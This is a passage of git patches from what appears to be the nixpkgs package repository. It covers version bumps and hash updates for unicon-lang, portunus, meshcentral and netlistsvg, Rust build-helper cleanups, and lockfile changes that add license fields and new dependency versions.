       "integrity": "sha512-FxAv7HpHrXbh3aPo4o2qxHay2lkLY3x5Mw3KeE4KQE8ysVfziWeRZDwcjauvwBSGEC/nXUPzZy8zeh4HokqOnw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -9591,6 +10860,7 @@
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
       "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -9599,6 +10869,7 @@
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-3.0.0.tgz",
       "integrity": "sha512-4nhGqUkc4BqbBBB4Q6zLuD7lzzrHYrjKGeYaEji/3tFR5VdJu9v+LilhGIVe8wxEJPPOeWo7eg8dwY13TZ1BNg==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -9607,6 +10878,7 @@
       "version": "1.1.2",
       "resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz",
       "integrity": "sha512-jvElSjyuo4EMQGoTwo1uJU5pQMwTW5lS1x05zzfJuTIyLR3zwO27LYrxNg+dlvKpGOuGy/MzBdXh80g0ve5+HA==",
+      "license": "MIT",
       "dependencies": {
         "path-exists": "^2.0.0",
         "pinkie-promise": "^2.0.0"
@@ -9619,6 +10891,7 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz",
       "integrity": "sha512-1pqUqRjkhPJ9miNq9SwMfdvi6lBJcd6eFxvfaivQhaH3SgisfiuudvFntdKOmxuee/77l+FPjKrQjWvmPjWrRw==",
+      "license": "MIT",
       "dependencies": {
         "number-is-nan": "^1.0.0"
       },
@@ -9630,6 +10903,7 @@
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/load-json-file/-/load-json-file-1.1.0.tgz",
       "integrity": "sha512-cy7ZdNRXdablkXYNI049pthVeXFurRyb9+hA/dZzerZ0pGTx42z+y+ssxBaVV2l70t1muq5IdKhn4UtcoGUY9A==",
+      "license": "MIT",
       "dependencies": {
         "graceful-fs": "^4.1.2",
         "parse-json": "^2.2.0",
@@ -9645,6 +10919,7 @@
       "version": "2.2.0",
       "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-2.2.0.tgz",
       "integrity": "sha512-QR/GGaKCkhwk1ePQNYDRKYZ3mwU9ypsKhB0XyFnLQdomyEqk3e8wpW3V5Jp88zbxK4n5ST1nqo+g9juTpownhQ==",
+      "license": "MIT",
       "dependencies": {
         "error-ex": "^1.2.0"
       },
@@ -9656,6 +10931,7 @@
       "version": "2.1.0",
       "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz",
       "integrity": "sha512-yTltuKuhtNeFJKa1PiRzfLAU5182q1y4Eb4XCJ3PBqyzEDkAZRzBrKKBct682ls9reBVHf9udYLN5Nd+K1B9BQ==",
+      "license": "MIT",
       "dependencies": {
         "pinkie-promise": "^2.0.0"
       },
@@ -9667,6 +10943,7 @@
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/path-type/-/path-type-1.1.0.tgz",
       "integrity": "sha512-S4eENJz1pkiQn9Znv33Q+deTOKmbl+jj1Fl+qiP/vYezj+S8x+J3Uo0ISrx/QoEvIlOaDWJhPaRd1flJ9HXZqg==",
+      "license": "MIT",
       "dependencies": {
         "graceful-fs": "^4.1.2",
         "pify": "^2.0.0",
@@ -9680,6 +10957,7 @@
       "version": "2.3.0",
       "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
       "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -9688,6 +10966,7 @@
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-1.1.0.tgz",
       "integrity": "sha512-7BGwRHqt4s/uVbuyoeejRn4YmFnYZiFl4AuaeXHlgZf3sONF0SOGlxs2Pw8g6hCKupo08RafIO5YXFNOKTfwsQ==",
+      "license": "MIT",
       "dependencies": {
         "load-json-file": "^1.0.0",
         "normalize-package-data": "^2.3.2",
@@ -9701,6 +10980,7 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-1.0.1.tgz",
       "integrity": "sha512-WD9MTlNtI55IwYUS27iHh9tK3YoIVhxis8yKhLpTqWtml739uXc9NWTpxoHkfZf3+DkCCsXox94/VWZniuZm6A==",
+      "license": "MIT",
       "dependencies": {
         "find-up": "^1.0.0",
         "read-pkg": "^1.0.0"
@@ -9712,12 +10992,14 @@
     "node_modules/yargs/node_modules/require-main-filename": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-1.0.1.tgz",
-      "integrity": "sha512-IqSUtOVP4ksd1C/ej5zeEh/BIP2ajqpn8c5x+q99gvcIG/Qf0cud5raVnE/Dwd0ua9TXYDoDc0RE5hBSdz22Ug=="
+      "integrity": "sha512-IqSUtOVP4ksd1C/ej5zeEh/BIP2ajqpn8c5x+q99gvcIG/Qf0cud5raVnE/Dwd0ua9TXYDoDc0RE5hBSdz22Ug==",
+      "license": "ISC"
     },
     "node_modules/yargs/node_modules/string-width": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz",
       "integrity": "sha512-0XsVpQLnVCXHJfyEs8tC0zpTVIr5PKKsQtkT29IwupnPTjtPmQ3xT/4yCREF9hYkV/3M3kzcUTSAZT6a6h81tw==",
+      "license": "MIT",
       "dependencies": {
         "code-point-at": "^1.0.0",
         "is-fullwidth-code-point": "^1.0.0",
@@ -9731,6 +11013,7 @@
       "version": "3.0.1",
       "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
       "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==",
+      "license": "MIT",
       "dependencies": {
         "ansi-regex": "^2.0.0"
       },
@@ -9742,6 +11025,7 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-2.0.0.tgz",
       "integrity": "sha512-kwrX1y7czp1E69n2ajbG65mIo9dqvJ+8aBQXOGVxqwvNbsXdFM6Lq37dLAY3mknUwru8CfcCbfOLL/gMo+fi3g==",
+      "license": "MIT",
       "dependencies": {
         "is-utf8": "^0.2.0"
       },
@@ -9753,6 +11037,7 @@
       "version": "4.2.1",
       "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-4.2.1.tgz",
       "integrity": "sha512-+QQWqC2xeL0N5/TE+TY6OGEqyNRM+g2/r712PDNYgiCdXYCApXf1vzfmDSLBxfGRwV+moTq/V8FnMI24JCm2Yg==",
+      "license": "ISC",
       "dependencies": {
         "camelcase": "^3.0.0"
       }
diff --git a/pkgs/by-name/ne/netlistsvg/package.nix b/pkgs/by-name/ne/netlistsvg/package.nix
index 3ce13ea48323..6c302df88fb5 100644
--- a/pkgs/by-name/ne/netlistsvg/package.nix
+++ b/pkgs/by-name/ne/netlistsvg/package.nix
@@ -22,7 +22,7 @@ buildNpmPackage rec {
     cp ${./package-lock.json} ./package-lock.json
   '';
 
-  npmDepsHash = "sha256-nKxskNW8YFDloA9Nxs/Rfjew8nX+l9xKB8/8313KoYo=";
+  npmDepsHash = "sha256-Vs0RLj6ySkM5oQsBGv4MmgiIBMhiDhINpwuCBJH9L8s=";
 
   dontNpmBuild = true;
 

From a50cbfbeb09a83c84eec9447454a11f183b7aec8 Mon Sep 17 00:00:00 2001
From: Petr Zahradnik <junior@zahradnik.cz>
Date: Sun, 8 Jun 2025 22:43:08 +0200
Subject: [PATCH 2123/4511] unicon: 11.7 -> 13.2-unstable-2025-06-02

(cherry picked from commit 97227efc3bf4316edbc9223d114b8b14bcb4c5d0)
---
 pkgs/by-name/un/unicon-lang/package.nix | 87 +++++++++++++------------
 1 file changed, 44 insertions(+), 43 deletions(-)

diff --git a/pkgs/by-name/un/unicon-lang/package.nix b/pkgs/by-name/un/unicon-lang/package.nix
index 21352007c974..92d440d5ac75 100644
--- a/pkgs/by-name/un/unicon-lang/package.nix
+++ b/pkgs/by-name/un/unicon-lang/package.nix
@@ -1,66 +1,67 @@
 {
   lib,
   stdenv,
-  fetchurl,
-  unzip,
   libX11,
-  libXt,
-  libnsl,
   libxcrypt,
+  fetchFromGitHub,
+  coreutils,
+  libpng,
+  xorg,
+  freetype,
+  zlib,
+  libjpeg,
+  openssl,
 }:
 
-stdenv.mkDerivation {
+stdenv.mkDerivation (finalAttrs: {
   pname = "unicon-lang";
-  version = "11.7";
-  src = fetchurl {
-    url = "http://unicon.org/dist/uni-2-4-2010.zip";
-    sha256 = "1g9l2dfp99dqih2ir2limqfjgagh3v9aqly6x0l3qavx3qkkwf61";
+  version = "13.2-unstable-2025-06-02";
+
+  src = fetchFromGitHub {
+    owner = "uniconproject";
+    repo = "unicon";
+    rev = "cf3b53b9578a004a52146a7adadc2a9409426624";
+    hash = "sha256-+4HSLnVTLdBVnKqWhOrx4XHTs3mRlM6n2ISQ+C1g3Ns=";
   };
-  nativeBuildInputs = [ unzip ];
+
+  postPatch = ''
+    substituteInPlace tests/Makefile --replace-fail "/bin/echo" "${coreutils}/bin/echo"
+    substituteInPlace tests/Makedefs --replace-fail "/bin/echo" "${coreutils}/bin/echo"
+  '';
+
   buildInputs = [
-    libnsl
-    libX11
-    libXt
     libxcrypt
+    # compression
+    zlib
+    # graphics
+    libX11
+    libjpeg
+    libpng
+    xorg.libXft
+    freetype
+    # ssl
+    openssl
   ];
 
   hardeningDisable = [ "fortify" ];
 
-  sourceRoot = ".";
+  enableParallelBuilding = true;
 
-  # Workaround build failure on -fno-common toolchains like upstream
-  # gcc-10. Otherwise build fails as:
-  #   ld: ../common/ipp.o:(.bss+0x0): multiple definition of `lpath'; tglobals.o:(.bss+0x30): first defined here
-  # TODO: remove the workaround once upstream releases version past:
-  #   https://sourceforge.net/p/unicon/unicon/ci/b1a65230233f3825d055aee913b4fdcf178a0eaf/
-  env.NIX_CFLAGS_COMPILE = "-fcommon";
+  doCheck = true;
+  checkTarget = "Test";
 
-  configurePhase = ''
-    case "$(uname -a | sed 's/ /_/g')" in
-    Darwin*Version_9*i386) sys=intel_macos;;
-    Linux*x86_64*) sys=amd64_linux;;
-    Linux*i686*) sys=intel_linux;;
-    *) sys=unknown;;
-    esac
-    echo "all: ; echo" >  uni/3d/makefile
-    make X-Configure name=$sys
+  doInstallCheck = true;
+  installCheckPhase = ''
+    runHook preInstallCheck
+    $out/bin/unicon -version
+    runHook postInstallCheck
   '';
 
-  buildPhase = ''
-    make Unicon
-  '';
-
-  installPhase = ''
-    mkdir -p $out/
-    cp -r bin $out/
-  '';
-
-  meta = with lib; {
-    broken = (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64);
+  meta = {
     description = "Very high level, goal-directed, object-oriented, general purpose applications language";
     maintainers = [ ];
-    platforms = platforms.linux;
-    license = licenses.gpl2;
+    platforms = lib.platforms.linux;
+    license = lib.licenses.gpl2;
     homepage = "http://unicon.org";
   };
-}
+})

From c9bc9cbc2834acde959ee423b5576cf8cb2decee Mon Sep 17 00:00:00 2001
From: Peder Bergebakken Sundt <pbsds@hotmail.com>
Date: Tue, 1 Jul 2025 06:51:25 +0200
Subject: [PATCH 2124/4511] unicon-lang: update homepage

the old one was invalid

(cherry picked from commit bdaec37653d87f9d999c69f7169497f8e56b99da)
---
 pkgs/by-name/un/unicon-lang/package.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/pkgs/by-name/un/unicon-lang/package.nix b/pkgs/by-name/un/unicon-lang/package.nix
index 92d440d5ac75..81adb07a3c98 100644
--- a/pkgs/by-name/un/unicon-lang/package.nix
+++ b/pkgs/by-name/un/unicon-lang/package.nix
@@ -62,6 +62,6 @@ stdenv.mkDerivation (finalAttrs: {
     maintainers = [ ];
     platforms = lib.platforms.linux;
     license = lib.licenses.gpl2;
-    homepage = "http://unicon.org";
+    homepage = "http://www.unicon.org";
   };
 })

From 95c35e122bac739757bde34dc732c9b22ee16f74 Mon Sep 17 00:00:00 2001
From: Petr Zahradnik <junior@zahradnik.cz>
Date: Sat, 5 Jul 2025 18:24:29 +0200
Subject: [PATCH 2125/4511] unicon-lang: disable parallel building

(cherry picked from commit 97cdbe833291218c425c28d5ca1b3bc0a9d0eef9)
---
 pkgs/by-name/un/unicon-lang/package.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/un/unicon-lang/package.nix b/pkgs/by-name/un/unicon-lang/package.nix
index 81adb07a3c98..a689939af577 100644
--- a/pkgs/by-name/un/unicon-lang/package.nix
+++ b/pkgs/by-name/un/unicon-lang/package.nix
@@ -45,7 +45,8 @@ stdenv.mkDerivation (finalAttrs: {
 
   hardeningDisable = [ "fortify" ];
 
-  enableParallelBuilding = true;
+  # Issues when building plugins and running tests on aarch
+  enableParallelBuilding = false;
 
   doCheck = true;
   checkTarget = "Test";

From fc70d1bea15b5d51ac70dbf35c85ca0c1076a37b Mon Sep 17 00:00:00 2001
From: Stefan Majewsky <majewsky@gmx.net>
Date: Mon, 7 Jul 2025 16:05:44 +0200
Subject: [PATCH 2126/4511] portunus: 2.1.2 -> 2.1.4

(cherry picked from commit a94b4d0cdce39115ebe37ffe164c32f572a6e8f5)
---
 pkgs/by-name/po/portunus/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/po/portunus/package.nix b/pkgs/by-name/po/portunus/package.nix
index 933b286da5b7..45e937abfbbb 100644
--- a/pkgs/by-name/po/portunus/package.nix
+++ b/pkgs/by-name/po/portunus/package.nix
@@ -8,13 +8,13 @@
 
 buildGoModule rec {
   pname = "portunus";
-  version = "2.1.2";
+  version = "2.1.4";
 
   src = fetchFromGitHub {
     owner = "majewsky";
     repo = "portunus";
     rev = "v${version}";
-    sha256 = "sha256-nLFwfH1K6vsgNATwAxyq/q6HTtfLK8gsQhei7eJ86Kc=";
+    sha256 = "sha256-xZb2+IIZkZd/yGr0+FK7Bi3sZpPMfGz/QmUKn/clrwE=";
   };
 
   buildInputs = [ libxcrypt ];

From ff4d47b4bf2dd49765fce082c8fce8565df0a19b Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Tue, 1 Jul 2025 19:46:50 +0200
Subject: [PATCH 2127/4511] {hdr10plus,wezterm}: don't inherit
 useFetchCargoVendor

(cherry picked from commit 90f01acc6c78709c8fbe62ac8169f9e21cfda124)
---
 pkgs/by-name/hd/hdr10plus/package.nix | 7 +------
 pkgs/by-name/we/wezterm/headless.nix  | 1 -
 2 files changed, 1 insertion(+), 7 deletions(-)

diff --git a/pkgs/by-name/hd/hdr10plus/package.nix b/pkgs/by-name/hd/hdr10plus/package.nix
index 675e5247256b..c17c963e3097 100644
--- a/pkgs/by-name/hd/hdr10plus/package.nix
+++ b/pkgs/by-name/hd/hdr10plus/package.nix
@@ -23,12 +23,7 @@ rustPlatform.buildRustPackage (finalAttrs: {
     "dev"
   ];
 
-  inherit (hdr10plus_tool)
-    src
-    useFetchCargoVendor
-    cargoDeps
-    cargoHash
-    ;
+  inherit (hdr10plus_tool) src cargoDeps cargoHash;
 
   nativeBuildInputs = [ cargo-c ];
   buildInputs = [ fontconfig ];
diff --git a/pkgs/by-name/we/wezterm/headless.nix b/pkgs/by-name/we/wezterm/headless.nix
index dd2a4a0b8c03..96d0f6fcaf46 100644
--- a/pkgs/by-name/we/wezterm/headless.nix
+++ b/pkgs/by-name/we/wezterm/headless.nix
@@ -12,7 +12,6 @@ rustPlatform.buildRustPackage {
     src
     postPatch
     cargoHash
-    useFetchCargoVendor
     meta
     ;
 

From 4a828092fefad4c4dfeea5d41c139957b0a57c18 Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Tue, 1 Jul 2025 19:38:33 +0200
Subject: [PATCH 2128/4511] rustPlatform.buildRustPackage: don't pass down
 useFetchCargoVendor

This way we can remove all usages in a treewide without having
mass rebuilds

(cherry picked from commit bca30d8653aff0d76104017cf360db65e3ca5868)
---
 pkgs/build-support/rust/build-rust-package/default.nix | 1 +
 1 file changed, 1 insertion(+)

diff --git a/pkgs/build-support/rust/build-rust-package/default.nix b/pkgs/build-support/rust/build-rust-package/default.nix
index 2d215a4eb010..a46b37c2807f 100644
--- a/pkgs/build-support/rust/build-rust-package/default.nix
+++ b/pkgs/build-support/rust/build-rust-package/default.nix
@@ -23,6 +23,7 @@ lib.extendMkDerivation {
     "depsExtraArgs"
     "cargoUpdateHook"
     "cargoLock"
+    "useFetchCargoVendor"
   ];
 
   extendDrvArgs =

From 2c5a075cbc41d685f90a93845ced4446e72a592e Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Sun, 6 Jul 2025 14:06:16 -0400
Subject: [PATCH 2129/4511] meshcentral: 1.1.45 -> 1.1.46

Changelog: https://github.com/Ylianst/MeshCentral/releases/tag/1.1.46
(cherry picked from commit f58d55f621f3a51adee77be9b9b7aa2990ef89f7)
---
 pkgs/tools/admin/meshcentral/default.nix  |    8 +-
 pkgs/tools/admin/meshcentral/package.json |    7 +-
 pkgs/tools/admin/meshcentral/yarn.lock    | 1618 +++++++++++----------
 3 files changed, 850 insertions(+), 783 deletions(-)

diff --git a/pkgs/tools/admin/meshcentral/default.nix b/pkgs/tools/admin/meshcentral/default.nix
index c6973aa2ceeb..b11b4a7835cf 100644
--- a/pkgs/tools/admin/meshcentral/default.nix
+++ b/pkgs/tools/admin/meshcentral/default.nix
@@ -8,11 +8,11 @@
 }:
 
 yarn2nix-moretea.mkYarnPackage {
-  version = "1.1.45";
+  version = "1.1.46";
 
   src = fetchzip {
-    url = "https://registry.npmjs.org/meshcentral/-/meshcentral-1.1.45.tgz";
-    sha256 = "1dwn0xaqa5f2wzlc3xygwww0pv9dkvxax8a5ysy08d9zsnpy61ra";
+    url = "https://registry.npmjs.org/meshcentral/-/meshcentral-1.1.46.tgz";
+    sha256 = "143ls8455c4vaj0cnai08h7f8mj8llzbjaa54mhcri0aqdh5b5yg";
   };
 
   patches = [
@@ -24,7 +24,7 @@ yarn2nix-moretea.mkYarnPackage {
 
   offlineCache = fetchYarnDeps {
     yarnLock = ./yarn.lock;
-    hash = "sha256-mH8R2KMN1rSbRkKPUV5BhnL7VjAN8m8O5stg+s9Zye8=";
+    hash = "sha256-VzxNWtbn/ToODqE3jU7n0xpaOZmst55wJ2+dZLonIaA=";
   };
 
   # Tarball has CRLF line endings. This makes patching difficult, so let's convert them.
diff --git a/pkgs/tools/admin/meshcentral/package.json b/pkgs/tools/admin/meshcentral/package.json
index 3cf6b60d8b29..aa9b9bdc8ec8 100644
--- a/pkgs/tools/admin/meshcentral/package.json
+++ b/pkgs/tools/admin/meshcentral/package.json
@@ -1,6 +1,6 @@
 {
   "name": "meshcentral",
-  "version": "1.1.45",
+  "version": "1.1.46",
   "keywords": [
     "Remote Device Management",
     "Remote Device Monitoring",
@@ -108,19 +108,18 @@
     "acebase": "1.29.5",
     "sqlite3": "5.1.7",
     "node-vault": "0.10.2",
-    "semver": "7.7.1",
     "https-proxy-agent": "7.0.2",
     "mongojs": "3.1.0",
     "nodemailer": "6.9.16",
     "@sendgrid/mail": "*",
     "jsdom": "22.1.0",
     "esprima": "4.0.1",
-    "html-minifier": "4.0.0",
+    "html-minifier-terser": "7.2.0",
     "@crowdsec/express-bouncer": "0.1.0",
     "prom-client": "*",
     "archiver-zip-encrypted": "2.0.0",
     "googleapis": "128.0.0",
-    "webdav": "4.11.4",
+    "webdav": "5.8.0",
     "minio": "8.0.2",
     "wildleek": "2.0.0",
     "yubikeyotp": "0.2.0",
diff --git a/pkgs/tools/admin/meshcentral/yarn.lock b/pkgs/tools/admin/meshcentral/yarn.lock
index 7ed1c9a76031..38c25442581b 100644
--- a/pkgs/tools/admin/meshcentral/yarn.lock
+++ b/pkgs/tools/admin/meshcentral/yarn.lock
@@ -48,377 +48,381 @@
     "@smithy/util-utf8" "^2.0.0"
     tslib "^2.6.2"
 
-"@aws-sdk/client-cognito-identity@3.817.0":
-  version "3.817.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/client-cognito-identity/-/client-cognito-identity-3.817.0.tgz#43b72aaf94ef1ab483dfc17548db509b8b063d42"
-  integrity sha512-MNGwOJDQU0jpvsLLPSuPQDhPtDzFTc/k7rLmiKoPrIlgb3Y8pSF4crpJ+ZH3+xod2NWyyOVMEMQeMaKFFdMaKw==
+"@aws-sdk/client-cognito-identity@3.840.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/client-cognito-identity/-/client-cognito-identity-3.840.0.tgz#2fb8b8ac30c8418c46c42fef447ab13151492cab"
+  integrity sha512-0sn/X63Xqqh5D1FYmdSHiS9SkDzTitoGO++/8IFik4xf/jpn4ZQkIoDPvpxFZcLvebMuUa6jAQs4ap4RusKGkg==
   dependencies:
     "@aws-crypto/sha256-browser" "5.2.0"
     "@aws-crypto/sha256-js" "5.2.0"
-    "@aws-sdk/core" "3.816.0"
-    "@aws-sdk/credential-provider-node" "3.817.0"
-    "@aws-sdk/middleware-host-header" "3.804.0"
-    "@aws-sdk/middleware-logger" "3.804.0"
-    "@aws-sdk/middleware-recursion-detection" "3.804.0"
-    "@aws-sdk/middleware-user-agent" "3.816.0"
-    "@aws-sdk/region-config-resolver" "3.808.0"
-    "@aws-sdk/types" "3.804.0"
-    "@aws-sdk/util-endpoints" "3.808.0"
-    "@aws-sdk/util-user-agent-browser" "3.804.0"
-    "@aws-sdk/util-user-agent-node" "3.816.0"
-    "@smithy/config-resolver" "^4.1.2"
-    "@smithy/core" "^3.3.3"
-    "@smithy/fetch-http-handler" "^5.0.2"
-    "@smithy/hash-node" "^4.0.2"
-    "@smithy/invalid-dependency" "^4.0.2"
-    "@smithy/middleware-content-length" "^4.0.2"
-    "@smithy/middleware-endpoint" "^4.1.6"
-    "@smithy/middleware-retry" "^4.1.7"
-    "@smithy/middleware-serde" "^4.0.5"
-    "@smithy/middleware-stack" "^4.0.2"
-    "@smithy/node-config-provider" "^4.1.1"
-    "@smithy/node-http-handler" "^4.0.4"
-    "@smithy/protocol-http" "^5.1.0"
-    "@smithy/smithy-client" "^4.2.6"
-    "@smithy/types" "^4.2.0"
-    "@smithy/url-parser" "^4.0.2"
+    "@aws-sdk/core" "3.840.0"
+    "@aws-sdk/credential-provider-node" "3.840.0"
+    "@aws-sdk/middleware-host-header" "3.840.0"
+    "@aws-sdk/middleware-logger" "3.840.0"
+    "@aws-sdk/middleware-recursion-detection" "3.840.0"
+    "@aws-sdk/middleware-user-agent" "3.840.0"
+    "@aws-sdk/region-config-resolver" "3.840.0"
+    "@aws-sdk/types" "3.840.0"
+    "@aws-sdk/util-endpoints" "3.840.0"
+    "@aws-sdk/util-user-agent-browser" "3.840.0"
+    "@aws-sdk/util-user-agent-node" "3.840.0"
+    "@smithy/config-resolver" "^4.1.4"
+    "@smithy/core" "^3.6.0"
+    "@smithy/fetch-http-handler" "^5.0.4"
+    "@smithy/hash-node" "^4.0.4"
+    "@smithy/invalid-dependency" "^4.0.4"
+    "@smithy/middleware-content-length" "^4.0.4"
+    "@smithy/middleware-endpoint" "^4.1.13"
+    "@smithy/middleware-retry" "^4.1.14"
+    "@smithy/middleware-serde" "^4.0.8"
+    "@smithy/middleware-stack" "^4.0.4"
+    "@smithy/node-config-provider" "^4.1.3"
+    "@smithy/node-http-handler" "^4.0.6"
+    "@smithy/protocol-http" "^5.1.2"
+    "@smithy/smithy-client" "^4.4.5"
+    "@smithy/types" "^4.3.1"
+    "@smithy/url-parser" "^4.0.4"
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-body-length-browser" "^4.0.0"
     "@smithy/util-body-length-node" "^4.0.0"
-    "@smithy/util-defaults-mode-browser" "^4.0.14"
-    "@smithy/util-defaults-mode-node" "^4.0.14"
-    "@smithy/util-endpoints" "^3.0.4"
-    "@smithy/util-middleware" "^4.0.2"
-    "@smithy/util-retry" "^4.0.3"
+    "@smithy/util-defaults-mode-browser" "^4.0.21"
+    "@smithy/util-defaults-mode-node" "^4.0.21"
+    "@smithy/util-endpoints" "^3.0.6"
+    "@smithy/util-middleware" "^4.0.4"
+    "@smithy/util-retry" "^4.0.6"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@aws-sdk/client-sso@3.817.0":
-  version "3.817.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/client-sso/-/client-sso-3.817.0.tgz#eca663fb562095f7ff1c2d0af6f89cc1f04e12a4"
-  integrity sha512-fCh5rUHmWmWDvw70NNoWpE5+BRdtNi45kDnIoeoszqVg7UKF79SlG+qYooUT52HKCgDNHqgbWaXxMOSqd2I/OQ==
+"@aws-sdk/client-sso@3.840.0":
+  version "3.840.0"
+  resolved "https://registry.yarnpkg.com/@aws-sdk/client-sso/-/client-sso-3.840.0.tgz#74cce04e0192d192e5d9926fcc7f365811e586f0"
+  integrity sha512-3Zp+FWN2hhmKdpS0Ragi5V2ZPsZNScE3jlbgoJjzjI/roHZqO+e3/+XFN4TlM0DsPKYJNp+1TAjmhxN6rOnfYA==
   dependencies:
     "@aws-crypto/sha256-browser" "5.2.0"
     "@aws-crypto/sha256-js" "5.2.0"
-    "@aws-sdk/core" "3.816.0"
-    "@aws-sdk/middleware-host-header" "3.804.0"
-    "@aws-sdk/middleware-logger" "3.804.0"
-    "@aws-sdk/middleware-recursion-detection" "3.804.0"
-    "@aws-sdk/middleware-user-agent" "3.816.0"
-    "@aws-sdk/region-config-resolver" "3.808.0"
-    "@aws-sdk/types" "3.804.0"
-    "@aws-sdk/util-endpoints" "3.808.0"
-    "@aws-sdk/util-user-agent-browser" "3.804.0"
-    "@aws-sdk/util-user-agent-node" "3.816.0"
-    "@smithy/config-resolver" "^4.1.2"
-    "@smithy/core" "^3.3.3"
-    "@smithy/fetch-http-handler" "^5.0.2"
-    "@smithy/hash-node" "^4.0.2"
-    "@smithy/invalid-dependency" "^4.0.2"
-    "@smithy/middleware-content-length" "^4.0.2"
-    "@smithy/middleware-endpoint" "^4.1.6"
-    "@smithy/middleware-retry" "^4.1.7"
-    "@smithy/middleware-serde" "^4.0.5"
-    "@smithy/middleware-stack" "^4.0.2"
-    "@smithy/node-config-provider" "^4.1.1"
-    "@smithy/node-http-handler" "^4.0.4"
-    "@smithy/protocol-http" "^5.1.0"
-    "@smithy/smithy-client" "^4.2.6"
-    "@smithy/types" "^4.2.0"
-    "@smithy/url-parser" "^4.0.2"
+    "@aws-sdk/core" "3.840.0"
+    "@aws-sdk/middleware-host-header" "3.840.0"
+    "@aws-sdk/middleware-logger" "3.840.0"
+    "@aws-sdk/middleware-recursion-detection" "3.840.0"
+    "@aws-sdk/middleware-user-agent" "3.840.0"
+    "@aws-sdk/region-config-resolver" "3.840.0"
+    "@aws-sdk/types" "3.840.0"
+    "@aws-sdk/util-endpoints" "3.840.0"
+    "@aws-sdk/util-user-agent-browser" "3.840.0"
+    "@aws-sdk/util-user-agent-node" "3.840.0"
+    "@smithy/config-resolver" "^4.1.4"
+    "@smithy/core" "^3.6.0"
+    "@smithy/fetch-http-handler" "^5.0.4"
+    "@smithy/hash-node" "^4.0.4"
+    "@smithy/invalid-dependency" "^4.0.4"
+    "@smithy/middleware-content-length" "^4.0.4"
+    "@smithy/middleware-endpoint" "^4.1.13"
+    "@smithy/middleware-retry" "^4.1.14"
+    "@smithy/middleware-serde" "^4.0.8"
+    "@smithy/middleware-stack" "^4.0.4"
+    "@smithy/node-config-provider" "^4.1.3"
+    "@smithy/node-http-handler" "^4.0.6"
+    "@smithy/protocol-http" "^5.1.2"
+    "@smithy/smithy-client" "^4.4.5"
+    "@smithy/types" "^4.3.1"
+    "@smithy/url-parser" "^4.0.4"
     "@smithy/util-base64" "^4.0.0"
     "@smithy/util-body-length-browser" "^4.0.0"
     "@smithy/util-body-length-node" "^4.0.0"
-    "@smithy/util-defaults-mode-browser" "^4.0.14"
-    "@smithy/util-defaults-mode-node" "^4.0.14"
-    "@smithy/util-endpoints" "^3.0.4"
-    "@smithy/util-middleware" "^4.0.2"
-    "@smithy/util-retry" "^4.0.3"
+    "@smithy/util-defaults-mode-browser" "^4.0.21"
+    "@smithy/util-defaults-mode-node" "^4.0.21"
+    "@smithy/util-endpoints" "^3.0.6"
+    "@smithy/util-middleware" "^4.0.4"
+    "@smithy/util-retry" "^4.0.6"
     "@smithy/util-utf8" "^4.0.0"
     tslib "^2.6.2"
 
-"@aws-sdk/core@3.816.0":
-  version "3.816.0"
-  resolved "https://registry.yarnpkg.com/@aws-sdk/core/-/core-3.816.0.tgz#f310a2fd458534b13f42de5e10fdfd3dfc8d4982"
-  integrity sha512-Lx50wjtyarzKpMFV6V+gjbSZDgsA/71iyifbClGUSiNPoIQ4OCV0KVOmAAj7mQRVvGJqUMWKVM+WzK79CjbjWA==
+"@aws-sdk/core@3.840.0":
+  version "3.840.0"
